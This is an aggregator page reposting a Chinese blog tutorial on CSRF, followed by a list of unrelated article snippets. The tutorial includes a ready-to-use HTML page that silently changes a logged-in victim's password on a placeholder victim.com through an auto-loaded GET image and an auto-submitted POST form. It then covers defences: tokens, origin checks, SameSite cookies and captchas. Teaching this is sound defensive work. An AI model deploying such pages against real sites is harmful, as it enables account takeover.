当前位置： 首页 > news >正文

网络安全：发起一次CSRF攻击！

news 文章来源：https://blog.csdn.net/weixin_41981909/article/details/133646525 2025/1/15 12:42:57

一、如何发起一次CSRF攻击

原理：CSRF 的本质实际上是利用了 Cookie 会自动在请求中携带的特性，通过伪造请求来执行恶意操作。

1、目标网站信息：

接口地址：https://victim.com/change-password
请求类型：get/post
接受参数：password

2、编写一个网页

<!DOCTYPE html>
<html><body><!-- GET类型的CSRF --><img src="https://victim.com/change-password?password=vme50"><!-- POST类型的CSRF --><form action="https://victim.com/change-password" method=POST><input type="hidden" name="password" value="vme50" /></form><script> document.forms[0].submit(); </script> </body>
</html>

3、诱导用户打开我们的网页

用户在已经登录了https://victim.com这个网站的情况下打开我们的网站，代码会自动发起网络请求，将受害者的账号密码修改为我们设置的值

二、防护策略

1、使用 CSRF Token（推荐）：

在每个表单提交或敏感操作中包含一个随机生成的 CSRF Token，并将其与用户的会话关联起来。
服务器在接收到请求时验证 CSRF Token 的有效性，如果不匹配，则拒绝请求。
这样可以防止攻击者伪造请求，因为攻击者无法获取有效的 CSRF Token。

2、同源检测：

① 验证请求头：在服务器端验证请求头中的 Referer 字段或 Origin 字段，确保请求来自合法的源
② 验证域名：在服务器端对请求进行同源检测，只接受来自同一域名下的请求
③ 对在本域发起的攻击无效

3、设置 SameSite Cookie 属性：

将敏感的 Cookie 设置为 SameSite 属性为 Strict 或 Lax，限制其在跨站点请求中的发送，从而减少 CSRF 攻击的风险。

4、二次确认

① 验证码：对于敏感操作，可以要求用户输入验证码进行验证，以确保请求是由真实用户发起的

相关文章：

网络安全：发起一次CSRF攻击！

一、如何发起一次CSRF攻击 原理&#xff1a;CSRF 的本质实际上是利用了 Cookie 会自动在请求中携带的特性&#xff0c;通过伪造请求来执行恶意操作。 1、目标网站信息&#xff1a; 接口地址&#xff1a;https://victim.com/change-password 请求类型&#xff1a;get/post 接…...

编程日记 2023/10/8 16:18:33

java上传文件到指定服务器

首先要知道服务器的用户名和密码。 注意&#xff1a;一般情况&#xff0c;如果不是强制要求&#xff0c;尽量不要将文件上传到服务器 步骤&#xff1a; 1.导入依赖 <!--图片上传到服务器需要的依赖--> <dependency> <groupId>com.jcr…...

编程日记 2023/10/8 16:17:32

揭秘 Go 中的 new() 和 make() 函数

Go&#xff08;或 Golang&#xff09;是一种现代、静态类型、编译型的编程语言&#xff0c;专为构建可扩展、并发和高效的软件而设计。它提供了各种内置的函数和特性&#xff0c;帮助开发人员编写简洁高效的代码。其中包括 new() 和 make() 函数&#xff0c;这两个函数乍看起来…...

编程日记 2023/10/8 16:16:31

【Spring Cloud】深入探索统一网关 Gateway 的搭建，断言工厂，过滤器工厂，全局过滤器以及跨域问题

文章目录 前言为什么需要网关以及网关的作用网关的技术实现 一、Gateway 网关的搭建1.1 创建 Gateway 模块1.2 引入依赖1.3 配置网关1.4 验证网关是否搭建成功1.5 微服务结构分析 二、Gateway 断言工厂2.1 Spring 提供的断言工厂2.2 示例&#xff1a;设置断言工厂 三、Gateway …...

编程日记 2023/10/8 16:14:30

计算机竞赛 题目：基于卷积神经网络的手写字符识别 - 深度学习

文章目录 0 前言1 简介2 LeNet-5 模型的介绍2.1 结构解析2.2 C1层2.3 S2层S2层和C3层连接 2.4 F6与C5层 3 写数字识别算法模型的构建3.1 输入层设计3.2 激活函数的选取3.3 卷积层设计3.4 降采样层3.5 输出层设计 4 网络模型的总体结构5 部分实现代码6 在线手写识别7 最后 0 前言…...

编程日记 2023/10/8 16:13:29

关于flink重新提交任务，重复消费kafka的坑

异常现象1 按照以下方式设置backend目录和checkpoint目录&#xff0c;fsbackend目录有数据&#xff0c;checkpoint目录没数据 env.getCheckpointConfig().setCheckpointStorage(PropUtils.getValueStr(Constant.ENV_FLINK_CHECKPOINT_PATH)); env.setStateBackend(new FsStat…...

编程日记 2023/10/8 16:11:24

Win11右键恢复Win10老版本

Win11右键恢复Win10老版本 最近自己更新了windows11的OS,整体感觉都是不错的,但是就是每次右键菜单我都要再次点击下展开更多选项,这对追求极简主义的我,就是不爽, 手动恢复win10操作吧! 第一种:创建文件(简单快速) 1.新建一个resoreRightKey.reg文件,并在里面填入如下代码 W…...

编程日记 2023/10/8 16:10:23

ur机械臂30003端口socket通信踩坑（double类型数据怎么解析）

坑的由来 都知道在网络通信时要把网络字节序转化为主机字节序才行&#xff0c;但是c里的标准库函数ntohl默认是转换32位字节序的数据&#xff0c;也就是说默认是转换float类型的数据&#xff1b;而ur机械臂30003端口发送的是double类型的数据&#xff0c;没法直接用ntohl进行转…...

编程日记 2023/10/8 16:08:22

代理IP与Socks5代理的技术奇妙之旅

随着数字化时代的崛起&#xff0c;网络工程师们日益承担着维护网络稳定性和保护数据安全的重任。在这个充满挑战的世界里&#xff0c;代理IP与Socks5代理技术成为了他们的秘密武器&#xff0c;本文将带您踏上一段技术奇妙之旅&#xff0c;深入了解这两项技术在不同领域中的应用…...

编程日记 2023/10/8 16:07:20

自动化测试定位不到元素？可能是 frame 在搞鬼

很多人在用Splinter或Selenium定位页面元素的时候会遇到定位不到的问题&#xff0c;明明元素就在那儿&#xff0c;就是定位不到&#xff0c;这种情况很有可能是frame在搞鬼。 说白了就是网站上的网页A&#xff0c;又嵌入了其他网页B。你访问了网页A&#xff0c;在里面可以看到…...

编程日记 2023/10/8 16:06:19

uni-app 开发中，监听 input 键盘事件获取不到按下按键值怎么办？

uniapp 开发 H5 时&#xff0c;无法监听按钮键盘事件的原因以及解决方法。 问题描述&#xff1a; 不少 uni-app 开发者在使用 input 组件时&#xff0c;监听 keyup 事件时&#xff0c;获取不到键盘的 keyCode。编写的代码如下&#xff1a; <template><input keyup&…...

编程日记 2023/10/8 16:05:18

【juc】countdownlatch实现并发网络请求

目录 一、截图示例二、代码示例2.1 测试代码2.2 接口代码 一、截图示例 二、代码示例 2.1 测试代码 package com.learning.countdownlatch;import lombok.extern.slf4j.Slf4j; import org.springframework.web.client.RestTemplate;import java.util.Arrays; import java.uti…...

编程日记 2023/10/8 16:04:16

在供应链管理中，如何做好库存分析？库存分析有哪些监控指标？

在供应链管理中&#xff0c;库存分析是其重要的一环。库存分析的方法繁杂且广泛&#xff0c;选择正确的方法才能更好的进行库存分析&#xff0c;下面就为大家盘点一些常用的库存分析方法和监控指标&#xff0c;全程干货&#xff0c;建议收藏&#xff01; 01 如何进行库存分析&…...

编程日记 2023/10/8 16:03:14

黑豹程序员-架构师学习路线图-百科：Database数据库

文章目录 1、什么是Database2、发展历史3、数据库排行网4、总结 1、什么是Database 当今世界是一个充满着数据的互联网世界&#xff0c;各处都充斥着大量的数据。即这个互联网世界就是数据世界。 支撑这个数据世界的基石就是数据库&#xff0c;数据库也可以称为数据的仓库。 …...

编程日记 2023/10/8 16:01:33

你相信光吗？黑灯工厂重新相信“光”

你知道“黑灯工厂”吗&#xff1f;望文生义&#xff0c;所谓黑灯工厂&#xff0c;就是可以不需要照明的工厂。全程流水线自动化生产&#xff0c;无人干预、无人值守&#xff0c;工厂变成黑匣子&#xff0c;原材料进去&#xff0c;成品出来&#xff0c;流水线上百分百自动化。 完…...

编程日记 2023/10/8 16:00:32

Ubuntu 20.04使用源码安装nginx 1.14.0

nginx安装及使用&#xff08;详细版&#xff09;是一篇参考博文。 http://nginx.org/download/可以选择下载源码的版本。 sudo wget http://nginx.org/download/nginx-1.14.0.tar.gz下载源代码。 sudo tar xzf nginx-1.14.0.tar.gz进行解压。 cd nginx-1.14.0进入到源代码…...

编程日记 2023/10/8 15:59:31

springboot框架拦截器中HttpServletRequest 请求如何区分是图片上传流还是普通的字符流？

在Spring Boot框架中的拦截器&#xff08;Interceptor&#xff09;中&#xff0c;可以通过检查Content-Type请求头来区分图片上传流和普通的字符流。 当客户端发送POST请求并携带文件时&#xff0c;Content-Type请求头通常会包含multipart/form-data或者类似的值。这表明该请求…...

编程日记 2023/10/8 15:58:29

简单聊聊 TCP 协议

简单聊聊 TCP 协议 如何实现可靠传输 ?完全可靠存在比特差错存在丢包流水线可靠数据传输协议回退N步 (GBN)选择重传 (ARQ) 小结 TCPTCP 连接报文段结构序号和确认号 可靠数据传输避免重传超时时间加倍快速重传回退N步还是选择重传 流量控制连接管理拥塞控制拥塞原因拥塞控制方…...

编程日记 2023/10/8 15:57:28

钡铼BL124PN：简单快速转换Profinet到Ethernet/IP

钡铼技术BL124PN是一款高性能的Profinet转Ethernet/IP网关设备。该网关专为工业自动化领域设计&#xff0c;用于实现不同协议之间的互连和通信。BL124PN采用可靠稳定的硬件和先进的通信技术&#xff0c;具有以下主要特点&#xff1a; 协议转换能力&#xff1a;BL124PN能够将Pr…...

编程日记 2023/10/8 15:56:28

【golang】go 空结构体 详解 空结构体内容占用及大小

一、空结构体基础 空结构实例 和 空结构体变量 本质是一样的 1、所有空结构体地址都是一样的2、大小都为0&#xff08;最独特的&#xff09; package mainimport ("fmt""time""unsafe" )type EST struct { }func main() {// 一、基础// 空结构…...

编程日记 2023/10/8 15:55:27

身为产品经理该如何向客户推广API商品数据接口

在当今数字化的时代&#xff0c;API&#xff08;Application Programming Interface&#xff0c;应用程序编程接口&#xff09;已成为各种软件应用程序之间交互数据的主要方式。API商品数据接口作为一种特殊类型的API&#xff0c;能够让不同的系统之间共享商品数据&#xff0c;…...

编程日记 2023/10/8 15:54:26

【数据结构】460. LFU 缓存

460. LFU 缓存 解题思路 get操作 返回key对应的val 然后增加对应的freq插入操作 如果key已经存在 直接进行更新 如果不存在 但是容器已经满了 直接进行删除freq最小的Key 之后进行插入 class LFUCache {// key到 val的映射 KVHashMap<Integer,Integer> keyToVal;// …...

编程日记 2023/10/8 15:52:24

文字转语音播报模块（一）:阿里云nls服务使用示例

一、业务场景 最近笔者在业务中涉及到语音告警的模块&#xff0c;需要讲告警内容以文件或流形式返回给前端进行语音播报&#xff0c;具体的分析与处理如下 二、业务分析 首先告警内容提示信息这里做的处理是通过专门字段去存储、编辑&#xff0c;根据拟定好的代码逻辑判断是…...

编程日记 2023/10/8 15:51:22

Vscode配置C#编程环境（win10）

目录 1、安装好Vscode 2、下载安装.NetCore SDK 3、配置C#环境 3.1 打开Vscode并下载扩展 3.2 Vscode中打开文件夹并配置环境 3.3 调试运行 1、安装好Vscode 2、下载安装.NetCore SDK 官网如下&#xff0c;下载完成后双击打开一路走到底就行.NetCore SDK官网 软件显示安…...

编程日记 2023/10/8 15:50:21

python：xlrd 读取 Excel文件，显示在 tkinterTable 表格中

pip install xlrd xlrd-1.2.0-py2.py3-none-any.whl (103 kB) 摘要: Library for developers to extract data from Microsoft Excel (tm) spreadsheet files pip install tkinterTable tkintertable-1.3.3.tar.gz (58 kB) 摘要: Extendable table class for Tkinter 源代…...

编程日记 2023/10/8 15:49:20

深度学习——深度学习计算一

深度学习——深度学习计算一 文章目录 前言一、层和块1.1. 自定义块1.2. 顺序块1.3. 在前向传播函数中执行代码1.4. 小结 二、参数管理2.1. 参数访问2.1.1. 目标参数2.1.2. 一次性访问所有参数2.1.3. 从嵌套块收集参数 2.2. 参数初始化2.2.1. 内置初始化2.2.2. 自定义初始化 2.…...

编程日记 2023/10/8 15:48:19

yolov5及yolov7实战之剪枝

之前有讲过一次yolov5的剪枝&#xff1a;yolov5实战之模型剪枝_yolov5模型剪枝-CSDN博客 当时基于的是比较老的yolov5版本&#xff0c;剪枝对整个训练代码的改动也比较多。最近发现一个比较好用的剪枝库&#xff0c;可以在不怎么改动原有训练代码的情况下&#xff0c;实现剪枝的…...

编程日记 2023/10/8 15:47:17

力扣第257题 二叉树的所有路径 c++ 树 深度优先搜索 字符串 回溯 二叉树

题目 257. 二叉树的所有路径 简单 给你一个二叉树的根节点 root &#xff0c;按 任意顺序 &#xff0c;返回所有从根节点到叶子节点的路径。 叶子节点 是指没有子节点的节点。 示例 1&#xff1a; 输入&#xff1a;root [1,2,3,null,5] 输出&#xff1a;["1->2-&g…...

编程日记 2023/10/8 15:46:16

保研之旅·终

一.背景 学校&#xff1a; 中211 通信工程专业 成绩&#xff1a; 绩点前3% 英语&#xff1a; CET4&#xff1a;523 CET6&#xff1a;505 竞赛&#xff1a;两个国奖&#xff0c;若干省奖 科研&#xff1a;两项校级大创&#xff0c;无论文产出 二.基本情况 夏令营入营: 哈工大…...

编程日记 2023/10/8 15:45:15

达梦数据库 视图 错误 [22003]: 数据溢出

今天通过DBeaver连接访问达梦数据库的一个视图&#xff0c;报错&#xff1a;错误 [22003]: 数据溢出 经过分析&#xff0c;原因是视图字段的数据类型和原表的数据类型不一致造成的...

编程日记 2023/10/8 15:44:13

本地wordpress 外网访问不了/百度收录网址

前言从智能单品到全屋智能&#xff0c;随着消费者对生活品质追求的提升&#xff0c;智能化产品逐渐走入大众家庭&#xff0c;从而推动智能家居市场蓬勃发展。从 2017 年开始&#xff0c;智能家居设备已经应用于日常生活各项任务。2017 年其市场规模约为 4.3 亿美元。据 IDC 预测…...

编程日记 2025/1/15 10:44:25

wordpress上传文件类型限制/深圳高端seo公司助力企业

写在前面 嗯...打算开始每天写点啥了&#xff0c;不知道能坚持多久。 准备以一周为单位来进行更新&#xff0c;周一~周三写一些图形方面的内容&#xff0c;四~六是和图形没有什么太大关联的内容&#xff08;意会就好&#xff09;&#xff0c;周日作为一个更新重点试着写一些乱七…...

编程日记 2025/1/15 10:37:15

大学 建网站/毕节地seo

关于二叉排序树的定义以及如何查找指定关键字的结点不再赘述&#xff0c;本篇文章主要讨论二叉排序树如何删除一个指定的结点。 当我们利用查找算法在树中找到了对应的结点的时候&#xff0c;可能会遇到三类情况。 第一类情况&#xff1a; 即将删除的结点是叶结点&#xff0…...

编程日记 2025/1/15 10:15:53

长沙建站网站/自助建站工具

在Ecplise中写Web项目&#xff0c;有些时候为了方便&#xff0c;copy一些原来的小项目重写编辑&#xff0c;可是copy改完名字以后&#xff0c;在web服务器中运行&#xff0c;部署之后得到的还是原来项目的名称。 解决方案&#xff1a;找到工作空间下copy后的项目的.settings目录…...

编程日记 2025/1/15 7:58:59

同一人可以做几个网站的负责人/百度seo和sem的区别

一、备份单个数据库1、备份命令&#xff1a;mysqldumpMySQL数据库自带的一个很好用的备份命令。是逻辑备份&#xff0c;导出 的是SQL语句。也就是把数据从MySQL库中以逻辑的SQL语句的形式直接输出或生成备份的文件的过程。单实例语法(Syntax):mysqldump -u -p > /path/to/**…...

编程日记 2025/1/15 4:37:34

重庆做网站开发的集中/seo排名培训学校

参考林海峰老师的配置教程 http://blog.51cto.com/9161406/1839667转载于:https://www.cnblogs.com/luhuajun/p/7379938.html...

编程日记 2025/1/15 0:55:30